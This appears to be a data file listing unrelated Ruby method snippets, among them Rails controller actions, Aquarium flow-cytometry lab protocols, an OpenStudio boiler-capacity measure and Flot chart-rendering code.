@chartoptions[:measurement_thigh][0]\n @set8.addPoint(measurement.date.to_time.to_i * 1000,measurement.thigh)\n end \n \n\n \n if !(measurement.arm.nil? && measurement.arm == 0 ) && (@chartoptions[:measurement_arm][0]) \n\n @set10.addPoint(measurement.date.to_time.to_i * 1000,measurement.arm)\n\n end \n\n \n \n end \n# ----------------------------------\n# now start adding them to the chart\n# ---------------------------------- \n #if @chartoptions[:measurement][0]\n \n if (@chartoptions[:measurement_chest][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set5)\n end \n if (@chartoptions[:measurement_upper_belly][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set6) \n end \n if (@chartoptions[:measurement_hip][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set7)\n end \n\n if (@chartoptions[:measurement_thigh][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set8)\n end \n\n if (@chartoptions[:measurement_arm][0] || @chartoptions[:measurement][0] )\n @chartable.add(@set10)\n end \n \n\n#end # if @chartoptions[:measurments] \nend",
"def draw\n self.results.to_a.each do |result|\n result.value = 0.5\n result.save!\n end\n end",
"def measuring_fluorescence(in_coll)\n \n rows = ['A','B','C','D','E','F','G','H']\n d = DateTime.now\n \n show do\n title \"Setting Up Workspace for Flow Cytometry Measurements\"\n \n note \"In the <b>'Auto Collect'</b> tab, select the Plate Type: <b>'96 well: flat bottom'</b>.\"\n note \"Click and check the following wells.\"\n table highlight_non_empty(in_coll) { |r, c| rows[r] + (c + 1).to_s}\n end\n \n show do\n title \"Setting Up Workspace for Flow Cytometry Measurements\"\n \n note \"Set <b>'Run Limits'</b> to <b>30,000 events</b>.\"\n note \"Set <b>'Fluidics'</b> to <b>'Med'</b>\" # Fast - Flow rate: 66ul/min, Core Sze : 22um\n note \"Set <b>'Set threshold'</b> to <b>FSC-H less than 400,000</b>.\"\n note \"Click <b>'Apply Settings'</b>\"\n check \"Save as <b>Item_#{in_coll}_#{d.strftime(\"%m_%d_%Y\")}</b> in <b>Q0_YeastGates</b> folder.\" \n end\n \n show do\n title \"Flow Cytometry Measurements\"\n \n check \"Obtain Item #{in_coll}\"\n note \"Finally, click <b>Eject Plate</b>\"\n warning \"Load experimental plate with the <b>first well at the top left next to the red-dot sticker</b>.\"\n note \"Click <b>Load Plate</b>.\"\n note \"Click <b>OPEN RUN DISPLAY</b>.\"\n note \"Click <b>AUTORUN</b> to begin measurements.\"\n end\n end",
"def selected_units\n SQF.groupSelectedUnits @this\n end",
"def update\n\t\t@comparison_measure = ComparisonMeasure.find(params[:id])\n\t\tif @comparison_measure.update_attributes(params[:comparison_measure]);\n\t\t\t@comparison = Comparison.find(@comparison_measure.comparison_id)\n\t\t\t@comparison_measures = ComparisonMeasure.where(:comparison_id=>@comparison.id)\n\t\t\t@comparison_data_points = ComparisonMeasure.get_data_points(@comparison_measures.collect{|x| x.id})\n\t\t\t@comparison_data_point = ComparisonDataPoint.new\n\t\t\t@comparison_measure = ComparisonMeasure.new\n\t\t\t@study = Study.find(@comparison.study_id)\n\t\t\t@outcome = Outcome.find(@comparison.outcome_id)\n\t\t\t@extraction_form = ExtractionForm.find(@comparison.extraction_form_id)\n\t\t\t@td_id = \"#\" + @comparison.comparators.to_s\n\t\t\t@type = @comparison.within_or_between\n\t\t\t@previous_measures = ComparisonMeasure.get_previous_measures(@comparison.study_id)\n\t\t\t@close_window = \"measure_form_div\"\n\t\t\t@entry_container = \"measure_form_div\"\n\t\t\t@entry_partial = \"comparison_measures/form\"\n\t\t\t@table_container = \"measure_display_div\"\n\t\t\t@table_partial = \"comparison_measures/measure_list\"\n\t\t\t@table_container2 = \"form_div\"\n\t\t\tobject_ids = @comparison.comparators.split(\"_\")\n\t\t\tif @type == \"between\"\n\t\t\t\t@table_partial2 = \"comparison_data_points/between_arm_comparisons\"\n\t\t\t\t@arms = []\n\t\t\t\tobject_ids.length.times do |i|\n\t\t\t\t\ttmp = Arm.find(object_ids[i])\n\t\t\t\t @arms[i] = tmp\n\t\t\t\tend\n\t\t\telse # if the type is 'within'...\n\t\t\t\t@table_partial2 = \"comparison_data_points/within_arm_comparisons\"\n\t\t\t\t@timepoints = []\n\t\t\t\tobject_ids.length.times do |i|\n\t\t\t\t\ttmp = OutcomeTimepoint.find(object_ids[i])\n\t\t\t\t @timepoints[i] = tmp\n\t\t\t\tend\n\t\t\tend\n\t\t\trender 'shared/saved.js.erb'\n\t\telse # if the update is unsuccessful...\n\t\t\t\n\t\tend\n\tend",
"def enter_result(test_data)\n hide_notifications_bar\n logger.info \"Entering result '#{test_data[CoreUseOfCollectionsData::RESULT.name]}'\"\n wait_for_element_and_type(result_text_area, test_data[CoreUseOfCollectionsData::RESULT.name])\n end",
"def simple_selection_panel(value, options, t = nil)\n\t\trender :partial => \"shared/forms/panel/simple_selection\", :locals => { :value => value, :options => options, :title => t }\n\tend",
"def show\n @units = @commercial_lead.units\n end",
"def show\n @collection = Collection.find(@evaluation.collection)\n end",
"def show\n @collection = Collection.find(@evaluation.collection)\n end",
"def edit\n\t\t@comparison_measure = ComparisonMeasure.find(params[:measure_id])\n\t\t@comparison = Comparison.find(@comparison_measure.comparison_id)\n\t\t@editing = true\n\t\t# render comparison_measures/edit.js.erb to view the update table\t\t\n\tend",
"def set_measurement\n @measurement = Measurement.find(params[:id])\n end",
"def set_measurement\n @measurement = Measurement.find(params[:id])\n end",
"def set_measurement\n @measurement = Measurement.find(params[:id])\n end",
"def set_measurement\n @measurement = Measurement.find(params[:id])\n end",
"def set_measurement\n @measurement = Measurement.find(params[:id])\n end",
"def set_measurement\n @measurement = Measurement.find(params[:id])\n end",
"def bench_test_component\n assert_performance_linear 0.9999 do |n| # n is a range value\n n.times { render_inline(SimpleComponent) }\n end\n end",
"def destroy\n\t\t@comparison_measure = ComparisonMeasure.find(params[:id]);\n\t\t\n\t\t# find and delete any associated data points\n\t\tdataPoints = ComparisonDataPoint.where(:comparison_measure_id=>@comparison_measure.id)\n\t\t\n\t\tunless dataPoints.empty?\n\t\t\tdataPoints.each do |dp|\n\t\t\t\tdp.destroy\t\n\t\t\tend\n\t\tend\n\t\t\n\t\t# get the comparison object that this measure belongs to\n\t\t@comparison = Comparison.find(@comparison_measure.comparison_id)\n\t\t\n\t\t# remove the comparison measure\n\t\t@comparison_measure.destroy\n\t\t\n\t\t# update the display tables and give a message that it was deleted successfully\n\t\t@comparison_measure = ComparisonMeasure.new\n\t\t@comparison_measures = ComparisonMeasure.where(:comparison_id=>@comparison.id)\n\t\t@comparison_data_points = ComparisonMeasure.get_data_points(@comparison_measures.collect{|x| x.id})\n\t\t@comparison_data_point = ComparisonDataPoint.new\n\t\t@comparison_measure = ComparisonMeasure.new\n\t\t@study = Study.find(@comparison.study_id)\n\t\t@outcome = Outcome.find(@comparison.outcome_id)\n\t\t@extraction_form = ExtractionForm.find(@comparison.extraction_form_id)\n\t\t@td_id = \"#\" + @comparison.comparators.to_s\n\t\t@type = @comparison.within_or_between\n\t\t@previous_measures = ComparisonMeasure.get_previous_measures(@comparison.study_id)\n\t\t@entry_container = \"measure_form_div\"\n\t\t@entry_partial = \"comparison_measures/form\"\n\t\t@editing=false\n\t\t\n\t\t@table_container = \"measure_display_div\"\n\t\t@table_partial = \"comparison_measures/measure_list\"\n\t\t\n\t\t@table_container2 = \"form_div\"\n\t\tobject_ids = @comparison.comparators.split(\"_\")\n\t\tif @type == \"between\"\n\t\t\t@table_partial2 = \"comparison_data_points/between_arm_comparisons\"\n\t\t\t@arms = []\n\t\t\tobject_ids.length.times do |i|\n\t\t\t\ttmp = Arm.find(object_ids[i])\n\t\t\t\t@arms[i] = tmp\n\t\t\tend\n\t\telse\n\t\t\t@table_partial2 = \"comparison_data_points/within_arm_comparisons\"\n\t\t\t@timepoints = []\t\n\t\t\tobject_ids.length.times do |i|\n\t\t\t\ttmp = OutcomeTimepoint.find(object_ids[i])\n\t\t\t\t@timepoints[i] = tmp\n\t\t\tend\t\t\n\t\tend\n\t\trender \"shared/saved\"\n\tend",
"def add_point\n end",
"def prepare\n super\n\n @test_list = @builder.tests\n\n @test_list.each do |item|\n if @options[\"#{item}_RATIO\"].to_i >= 1\n 1.upto(@options[\"#{item}_RATIO\"].to_i) do\n @tests.push item\n end\n end\n end\n end",
"def set_unit_of_measure\n @unit_of_measure = UnitOfMeasure.find(params[:id])\n end",
"def show_wagon(number)\n selected_train = select_train(number)\n selected_train.each_wagon do |wagon|\n puts \"Capasity: #{wagon.capacity}\"\n puts \"Train type: #{wagon.type}\"\n puts \"Free capacity: #{wagon.free_capacity}\"\n end\n end",
"def add_filtering_tests\n measure = ApplicationController.helpers.pick_measure_for_filtering_test(measure_ids, bundle)\n reload_relations\n\n return if product_tests.filtering_tests.any?\n criteria = %w(races ethnicities genders payers age).shuffle\n filter_tests = []\n filter_tests.concat [build_filtering_test(measure, criteria[0, 2]), build_filtering_test(measure, criteria[2, 2])]\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI, TIN & Provider Location')\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI & TIN', false)\n criteria = ApplicationController.helpers.measure_has_diagnosis_criteria?(measure) ? ['problems'] : criteria.values_at(4, (0..3).to_a.sample)\n filter_tests << build_filtering_test(measure, criteria)\n ApplicationController.helpers.generate_filter_records(filter_tests)\n end",
"def set_unit_of_measure\n @unit_of_measure = UnitOfMeasure.find(params[:id])\n end",
"def processPartialUpdate(viewer)\n # In this demo, we just need to redraw the chart\n drawChart(viewer)\n end",
"def set_measurement\n @measurement = Measurement.find(params[:id])\n end",
"def create\n @breadcrumb = 'create'\n @measure = Measure.new(params[:measure])\n @measure.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @measure.save\n format.html { redirect_to @measure, notice: crud_notice('created', @measure) }\n format.json { render json: @measure, status: :created, location: @measure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cadet\n @cadet = Cadet.find(params[:id])\n end",
"def show\n @bg_measurement = BgMeasurement.find(params[:id])\n end",
"def prefill_media_cuvettes op, media_vol, op_collection\n op_collection_item = Item.find(op_collection.id)\n output_obj_type = op_collection_item.object_type.name\n type_of_media = op.input(MEDIA_TYPE).val\n display_matrix = []\n matrix = op_collection.matrix\n show do\n note \"matrix: #{matrix}\"\n end\n \n flattened_matrix = matrix.flatten\n flattened_matrix.each_slice(op_collection.dimensions[1]) do |slice|#matrix.each_slice(collection.dimensions[1]).map{|slice| Array.new(op_collection.dimensions[1]) { |i| media_vol}}.each do |slice| \n display_matrix.push(slice)\n end\n \n op_collection.get_non_empty.each do |tuple|\n display_matrix[tuple[0]][tuple[1]] = media_vol\n end\n \n display_matrix.each do |row|\n row.reject! do |cell|\n cell == -1\n end\n end\n \n # Tells the technician to fill with media.\n show do\n title \"Fill #{output_obj_type} with #{type_of_media} Media\"\n \n check \"Grab a clean <b>#{output_obj_type}</b>.\"\n check \"Label the #{output_obj_type} => <b>#{op_collection_item.id}</b>.\"\n if media_vol != 0\n # note \"Follow the table to transfer the samples from the input collection to the output collection.\"\n note \"The coordinates in the following table are coordinates from the input collection\"\n note \"Fill each well with #{media_vol} uL of #{type_of_media}\"\n table highlight_matrix display_matrix\n end\n end\n\n end",
"def show\n # resultが無い時\n unless @judge.result.present?\n # submitが無いときには別のテンプレート\n unless @judge.submits.exists?\n render :no_submit\n return\n end\n @judge.result = @judge.submits.sample.select_item\n @judge.save\n end\n end",
"def show\n @test_results = @test_run.test_results\n end",
"def set_perfume\n @perfume = Perfume.find(params[:id])\n end",
"def tk_add\n \"add planet #{id} - 10 #{x} #{y} 0\\n\" +\n \"param #{id} 0 #{size}\\n\" +\n \"param #{id} 1 #{-size}\\n\" +\n \"param #{id} 2 #{color}\\n\" +\n \"param #{id} 3 #{name}\"\n end",
"def show\n @floors = [@bull_put_spread.floor1, @bull_put_spread.floor2, @bull_put_spread.strike]\n @floor_names = [\"Floor 1\", \"Floor 2\", \"Strike\"]\n @rut_price = 2257.46\n end",
"def select *selection\n @measures.merge! paramerize(selection, VALID_MEASURES, 'Invalid measurement selection')\n self\n end",
"def transfer_cults(grouped_by_collection, outputPlate)\r\n show do\r\n # Removes the first object and takes the first index of that object\r\n inputPlateID = grouped_by_collection.shift.first\r\n\r\n title \"Diluting 96-deep well Item ##{inputPlateID} => 1:1000\" \r\n \r\n note \"Before diluting, place Item ##{inputPlateID} on bench top vortexer at a setting of 6 and pulse carefully.\"\r\n note \"Observe from underneath to check for resuspension of cultures.\"\r\n note \"Next, using a multichannel pipette take the following volume from the wells shown below from Item ##{inputPlateID}.\"\r\n # CollectionDisplay library\r\n table highlight_non_empty(outputPlate) { |r,c| \"1.0uL\" } \r\n note \"Dilute into the corresponding wells found in Item ##{outputPlate.id} that have been filled with growth media.\"\r\n end \r\n end",
"def set_point_of_diversion\n @point_of_diversion = PointOfDiversion.find(params[:id])\n end",
"def click_and_collect\n\t\twait_for_elements_do_not_exist [\"* id:'LoadingProgress'\"]\n\t\tquery_string = \"* id:'cc_book_a_slot_layout'\"\n\t\twait_poll until_exists: query_string, timeout: 30 do\n\t\t\tperformAction(\"scroll_down\")\n\t\tend\n\t\twait_for_elements_exist([\"* id:'cc_book_a_slot_layout'\"], timeout: 30)\n\t\ttouch(\"* id:'cc_book_a_slot_layout'\")\n\t\t#select collection point\n\t\twait_for_elements_exist [\"* id:'collection_point_address'\"], timeout: 30\n\t\ttouch \"* id:'collection_point_address'\"\n\t\twait_for_elements_do_not_exist [\"* id:'collection_point_address'\"], timeout: 30\n\tend",
"def display_sample_id(collection, rc_list: nil, check: false, opts: {})\n rc_list = collection.get_non_empty if rc_list.nil?\n rcx_list = []\n rc_list.each do |r,c|\n part = collection.part(r, c)\n\n rcx_list.push([r, c, part.id]); next if opts[:part_id]\n\n rcx_list.push([r, c, part.sample.id])\n end\n highlight_collection_rcx(collection, rcx_list, check: check)\n end",
"def show\n @paintings = @artist.paintings\n end",
"def create\n @benchmark_test = BenchmarkTest.new(benchmark_test_params)\n\n respond_to do |format|\n if @benchmark_test.save\n format.html { redirect_to @benchmark_test, notice: 'Benchmark test was successfully created.' }\n format.json { render :show, status: :created, location: @benchmark_test }\n else\n format.html { render :new }\n format.json { render json: @benchmark_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_category\n @category = TestCategory.new(params[:category])\n @category.save\n @categories = TestCategory.find(:all)\n redraw 'categories'\n end",
"def set_ballot_measure\n @ballot_measure = BallotMeasure.find(params[:id])\n end",
"def show_category_all_tests\n @category = Category.find_by_slug!(params[:category_slug])\n \n if @category\n @quizzes = Quiz.store_category_quizzes(current_user,@category)\n @quizzes = load_words_for_quizzes(@quizzes)\n @name = @category.name\n else\n @quizzes = []\n end\n \n render \"show_all_tests\"\n \n end",
"def set_test\n @test = authorize Test.includes(plate: [wells: [sample: [:client]]]).find(params[:id])\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\t\n\t# Determine if the measure is applicable to the model, if not just return and no changes are made.\n\t# boiler_bool is false if the measure is applicable, and true if it is not\n\tboiler_bool = runner.getBoolArgumentValue(\"boiler_bool\", user_arguments)\n\tif boiler_bool\n\t runner.registerInfo(\"This measure is not applicable.\")\n\t return true\n\tend\n\n # assign the user inputs to variables\n\tboiler_name = runner.getOptionalWorkspaceObjectChoiceValue(\"boiler_name\", user_arguments, model)\n\thandle = runner.getStringArgumentValue(\"boiler_name\", user_arguments)\n\tboiler_index = handle.to_i\n sql_fname = runner.getStringArgumentValue(\"sql_fname\", user_arguments)\n\n\t# Open the sql file\n\tsql_path = OpenStudio::Path.new(sql_fname)\n\t# if the sql file exists, load it into the variable sql\n\tif OpenStudio::exists(sql_path)\n\t sql = OpenStudio::SqlFile.new(sql_path)\n\telse \n\t runner.registerError(\"#{sql_fname} was not found. Make sure the sql file location is valid.\")\n\t return false\n\tend\n\t\n\tcapacities_query = \"SELECT Value FROM TabularDataWithStrings WHERE ReportName = 'EquipmentSummary' AND ReportForString='Entire Facility' AND TableName = 'Central Plant' AND ColumnName = 'Nominal Capacity'\"\t\n\tboiler_names_query = \"SELECT RowName FROM TabularDataWithStrings WHERE ReportName = 'EquipmentSummary' AND ReportForString='Entire Facility' AND TableName = 'Central Plant' AND ColumnName = 'Nominal Capacity'\"\n\tboiler_names_sql = sql.execAndReturnVectorOfString(boiler_names_query).get\n\tboiler_capacities_sql = sql.execAndReturnVectorOfDouble(capacities_query).get\n\tsql.close\n\t\n\t#loop through to find water boiler\n\ti_boiler = 0\n\tmodel.getBoilerHotWaters.each do |boiler_water|\n\t if not boiler_water.to_BoilerHotWater.empty?\n\t\ti_boiler = i_boiler + 1\n\t\tif boiler_index != 0 and (boiler_index != i_boiler)\n\t\t\tnext\n\t\tend\n\t\twater_unit = boiler_water.to_BoilerHotWater.get\n\t\tunit_name = water_unit.name.to_s\n\n\t\t# report initial nominal capacity field of the target boiler\n\t\tnominal_capacity = water_unit.nominalCapacity()\n\t\trunner.registerInitialCondition(\"#{unit_name} started with a nominal capacity of #{nominal_capacity}.\")\n\t\t\n\t\tboiler_in_sql = 0\n\t\tboiler_sql_index = 0\n\t\tboiler_names_sql.each do |boiler_name_sql|\n\t\t boiler_match = (boiler_name_sql.casecmp unit_name)\n\t\t if boiler_match == 0\n\t\t boiler_in_sql = 1\n\t\t\tnominal_capacity = boiler_capacities_sql[boiler_sql_index]\n\t\t\trunner.registerFinalCondition(\"The boiler '#{unit_name}' found in SQL file with nominal capacity of #{nominal_capacity}\")\n\t\t break\n\t\t end\n\t\t boiler_sql_index = boiler_sql_index + 1\t\t\n\t\tend\t\t\n\t\t\n\t\t# set the nominal capacity based on the SQL file if the boiler was found in the SQL file\n\t\tif boiler_in_sql == 1\n\t\t water_unit.setNominalCapacity(nominal_capacity)\n\t\t runner.registerFinalCondition(\"The nominal capacity for '#{unit_name}' was set to #{nominal_capacity}\")\n\t\telse \n\t\t water_unit.autosizeNominalCapacity()\n\t\t runner.registerFinalCondition(\"The nominal capacity for '#{unit_name}' was set to Autosize\")\n\t\tend \t\t\n\t\t\n\t\tend\n\tend\n\t\n\t#loop through to find steam boiler\n\tmodel.getBoilerSteams.each do |boiler_steam|\n\t if not boiler_steam.to_BoilerSteam.empty?\n\t\ti_boiler = i_boiler + 1\n\t\tif boiler_index != 0 and (boiler_index != i_boiler)\n\t\t\tnext\n\t\tend\n\t\tsteam_unit = boiler.to_BoilerSteam.get\n\t\tsteam_unit_fueltype = steam_unit.fuelType\n\t\tunit_name = steam_unit.name.to_s\n\n\t\t# report initial nominal capacity field of the target boiler\n\t\tnominal_capacity = steam_unit.nominalCapacity()\n\t\trunner.registerInitialCondition(\"#{unit_name} started with a nominal capacity of #{nominal_capacity}.\")\n\t\t\n\t\tboiler_in_sql = 0\n\t\tboiler_sql_index = 0\n\t\tboiler_names_sql.each do |boiler_name_sql|\n\t\t boiler_match = (boiler_name_sql.casecmp unit_name)\n\t\t if boiler_match == 0\n\t\t boiler_in_sql = 1\n\t\t\tnominal_capacity = boiler_capacities_sql[boiler_sql_index]\n\t\t\trunner.registerFinalCondition(\"The boiler '#{unit_name}' found in SQL file with nominal capacity of #{nominal_capacity}\")\n\t\t break\n\t\t end\n\t\t boiler_sql_index = boiler_sql_index + 1\t\t\n\t\tend\t\t\n\t\t\n\t\t# set the nominal capacity based on the SQL file if the boiler was found in the SQL file\n\t\tif boiler_in_sql == 1\n\t\t steam_unit.setNominalCapacity(nominal_capacity)\n\t\t runner.registerFinalCondition(\"The nominal capacity for '#{unit_name}' was set to #{nominal_capacity}\")\n\t\telse \n\t\t steam_unit.autosizeNominalCapacity()\n\t\t runner.registerFinalCondition(\"The nominal capacity for '#{unit_name}' was set to Autosize\")\n\t\tend \t\t\n\t\t\n\t\tend\n\tend\n\t\n return true\n end",
"def draw()\n @ucStat.draw()\n @ucCompareStat.draw()\n end",
"def set_measurement_unit\n @measurement_unit = MeasurementUnit.find(params[:id])\n end",
"def create\n @bench = Bench.generate!(current_user, View.find(params[:view_id]), bench_params)\n\n respond_to do |format|\n if @bench\n format.html { redirect_to @bench, notice: 'Benchmark was successfully created.' }\n format.json { render :show, status: :created, location: @bench }\n else\n format.html { render :new, notice: 'Cannot create benchmark' }\n format.json { render json: @bench.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_values(value, difference)\n @ucStat.cValue.text = value\n\n if difference > 0\n @ucCompareStat.cValue.font.color = Color.power_up_color\n elsif difference < 0\n @ucCompareStat.cValue.font.color = Color.power_down_color\n else\n @ucCompareStat.cValue.font.color = Color.normal_color\n end\n value += difference\n @ucCompareStat.cValue.text = value.abs.to_s\n \n if @format != nil\n @ucStat.cValue.text = sprintf(@format, @ucStat.cValue.text)\n @ucCompareStat.cValue.text = sprintf(@format, @ucCompareStat.cValue.text)\n end\n \n end",
"def new\n @cut = Cut.new\n\n\n render :layout => \"fancybox\"\n\n end",
"def dashboard\n template = OpenStudioMeasureTester::Dashboard.new(test_results_dir)\n template.render\n end",
"def tip_add\n choice = Choice.find(params[:choice_id])\n product = Product.find(params[:dom_id].split('_').last)\n new_tip = choice.tips.create(:product => product, :choice => choice, :quality => 1.0, :confidence => 1.0)\n render :update do |page|\n page.insert_html(:top, \"dropzone_choice_#{choice.id}\", :partial => \"/main/thumbnail\", \n :locals => {:ar_object => product, :container_tag => \"li\", :prefix => \"reco_choice_#{choice.id}\", :corner_link => \"/choices/tip_remove/#{new_tip.id}\" })\n end\n end",
"def refresh()\n self.contents.clear\n @ucTotal.draw()\n @ucDifference.draw()\n end",
"def draw_cutter cutter\r\n cutter.image.draw(cutter.x,cutter.y,1)\r\nend",
"def show_comparison_measures_form\n\t @timepoint_id = params[:timepoint_id]\n\t @selected_timepoints = params[:selected_timepoints]\n\t @extraction_form_id = params[:extraction_form_id]\n\t @study_id = params[:study_id]\n\t @project_id = params[:project_id]\n\t @comparison_id = params[:comparison_id]\n\t outcome_type = params[:outcome_type]\n\t @subgroup_id = params[:subgroup_id] == \"\" ? 0 : params[:subgroup_id]\n\n\t # section number specific to diagnostic test entries\n\t section_num = params[:dx_section]\n\n\t # get a list of all measures\n\t ocType = section_num.nil? ? outcome_type.downcase : \"diagnostic_#{section_num}\"\n\t ocType = ocType == \"time to event\" ? \"survival\" : ocType\n\t if @project_id == 427 || @project_id == 553\n\t \t@all_measures = DefaultCevgMeasure.where(:outcome_type=>ocType,:results_type=>1)\n\t else\n\t \t@all_measures = DefaultComparisonMeasure.where(:outcome_type=>ocType,:within_or_between=>1)\n\t end\n\t \n\t # get the measures for this particular comparison\n\t @selected_measures = ComparisonMeasure.where(:comparison_id=>@comparison_id)\n\t comparison = Comparison.find(@comparison_id)\n\t unless comparison.nil?\n\t\t @all_user_defined_measures = comparison.get_all_user_defined_measures\n\t\telse\n\t\t\t@all_user_defined_measures = []\n\t\tend\n\t \n\t unless section_num.nil?\t\n\t \t@show_measures_for = case section_num.to_i\n\t\t \twhen 1\n\t\t \t\t'Diagnostic Test Descriptive Result Measures'\n\t\t \twhen 2\n\t\t \t\t'Diagnostic Test Measures Assuming a Reference Standard'\n\t\t \telse\n\t\t \t\t'Diagnostic Test Measures for Additional Analysis'\n\t\t \tend\n\t\t\n\t else\t\n\t \t@show_measures_for = \"Between-Arm Comparison\"\n\t end\n\t render '/outcome_data_entries/show_measures_form'\n\tend",
"def makeChart(*options)\n\ndisplay = \"\n<div class='charts last'>\n\n<div class='left'>\n\n\n<div id='placeholder' style='width:400px;height:200px;'></div>\n<div id='overview' style='width:400px;height:50px'></div>\n<p id='overviewLegend' style='margin-left:10px'></p>\n\n<p> Try zooming. Click and drag to select a zone.</p>\n</div>\n\n<div class='right'>\n\nWeight Chart<br/>\n<div id='miniWeight' style='width:350px;height:100px;'></div>\nWater Chart<br/>\n<div id='miniWater' style='width:350px;height:100px;'></div>\n\n\nCalories Eaten<br/>\n<div id='miniCalorie' style='width:350px;height:100px;'></div>\nFitness (Calories burned not to include resting metabolism)<br/>\n<div id='miniFitness' style='width:350px;height:100px;'></div><br/>\n\nMeasurements (Total inches)<br/>\n<div id='miniMeasures' style='width:350px;height:100px;'></div>\n\n\n</div>\n\n\n\n\n<div class='last'></div>\n<script id='source' language='javascript' type='text/javascript'>\n\n\n$(function () {\nvar options = {\n xaxis: { mode: 'time' },\n selection: { mode: 'x' },\n legend: { \n show: true, \n container: $('#overviewLegend'),\n noColumns: 2,\n }\n};\n\nvar options_overview = {\n xaxis: { mode: 'time' },\n selection: { mode: 'x' },\n legend: { show: false}\n};\n\n\nvar plot = $.plot($('#placeholder'), \n[ #{@chartable.to_chart } ], options);\n\n\n\n\nvar overview = $.plot($('#overview'), \n[ #{@chartable.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\n\n\n\n\nvar overview_1 = $.plot($('#miniWeight'), \n[ #{@miniWeight.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_2 = $.plot($('#miniWater'), \n[ #{@miniWater.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_3 = $.plot($('#miniCalorie'), \n[ #{@miniCalorie.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_4 = $.plot($('#miniFitness'), \n[ #{@miniFitness.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_5 = $.plot($('#miniMeasures'), \n[ #{@miniMeasures.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\n// now connect the two\nvar internalSelection = false;\n\n$('#placeholder').bind('selected', function (event, area) {\n // do the zooming\n plot = $.plot($('#placeholder'), \n [#{@chartable.to_chart}],\n $.extend(true, {}, options, {\n xaxis: { min: area.x1, max: area.x2 }\n }));\n \n if (internalSelection)\n return; // prevent eternal loop\n internalSelection = true;\n overview.setSelection(area);\n internalSelection = false;\n});\n\n$('#overview').bind('selected', function (event, area) {\n if (internalSelection)\n return;\n internalSelection = true;\n plot.setSelection(area);\n internalSelection = false;\n});\n\n\n});\n</script>\n\"\n\nend",
"def set_bg_measurement\n @bg_measurement = BgMeasurement.find(params[:id])\n end",
"def show_all_quant_tests\n @quizzes = Quiz.store_quant_section_quizzes(current_user)\n @quizzes = load_words_for_quizzes(@quizzes)\n \n @name = \"Quant tests\"\n render \"show_all_tests\"\n end",
"def create\n @measurement = Measurement.new( measurement_params )\n\n # TODO \n unless @measurement.save\n render status: 500, json: @measurement.errors.full_messages\n end\n \n data = {\n circles: @measurement.circles.to_json \n }\n render status: :ok, json: @measurement if @measurement.valid?\n \n end",
"def draw_cutters cutters\r\n cutters.each do |cutter|\r\n draw_cutter(cutter)\r\n end \r\nend",
"def main\n \n # make is not needed, we have no new items \n # operations.retrieve # should be in loop!!!\n\n operations.each { |op|\n \n # message to user: run this operation on the browser on the flow cytometer \n show do\n title \"Flow cytometery - info\"\n warning \"The following should be run on a browser window on the #{CYTOMETER_TYPE} computer!\"\n end \n \n # Standard cleaning cycle for the flow cytometer\n cleanCytometer(CYTOMETER_TYPE)\n \n # run calibration beads - a new aquqrium sample bead_sample is created\n bead_item = beadCalibration(CYTOMETER_TYPE, op.input(BEAD_STOCK), op) \n \n # op.input(SAMPLE_TYPE).val seems to pick one of the parameters (E coli or Yeast) at random\n \n log_info CYTOMETER_TYPE, op.input(SAMPLE_TYPE).val, op.input(WELL_VOL).val, op.input(INPUT_NAME).collection, op\n # My Params - EL 01272018\n # log_info CYTOMETER_TYPE, \"Yeast\", 300, op.input(\"96 well plate\").collection, op\n \n take([op.input(INPUT_NAME).item], interactive: true)\n \n # run plate - uses collection to determine number of samples and their positions\n uploads_key=runSample96(CYTOMETER_TYPE, op.input(SAMPLE_TYPE).val, op.input(WELL_VOL).val, op.input(INPUT_NAME).collection, op)\n # uploads_key=runSample96(CYTOMETER_TYPE, \"Yeast\", 300, op.input(\"96 well plate\").collection, op)\n \n # add hash associations - will create new hash if none exists\n associatePlateFSCuploads(op.input(INPUT_NAME).collection, uploads_key)\n \n # run final clean\n cleanCytometer(CYTOMETER_TYPE)\n log_info 'end of main'\n } # operations.each\n \n # Add cleaning up of input plates\n input_collections = operations.map {|op| op.input(INPUT_NAME).item.id}\n show do \n title \"Cleaning Up After Experiment\"\n separator\n note \"Please clean up the following 96 Well plates by rinsing out with DI water and 70% EtOH\"\n check \"Clean up <b>#{input_collections}</b>\"\n end\n \n # dispose plates\n operations.each {|op| op.input(INPUT_NAME).item.mark_as_deleted}\n return {}\n \n end",
"def display_bands(user_input)\n puts \"These bands are playing at the concert you selected:\"\n selected_bands = Concert.find(user_input).bands.sort\n selected_bands.each do |band|\n puts \"#{band.id}. #{band.name}\"\n end\n separator\n end",
"def cups\n Measurements::USVolume.new(self, :cup) \n end",
"def add(obj, element)\n @selections << obj\n # call backs to update duration and such\n end",
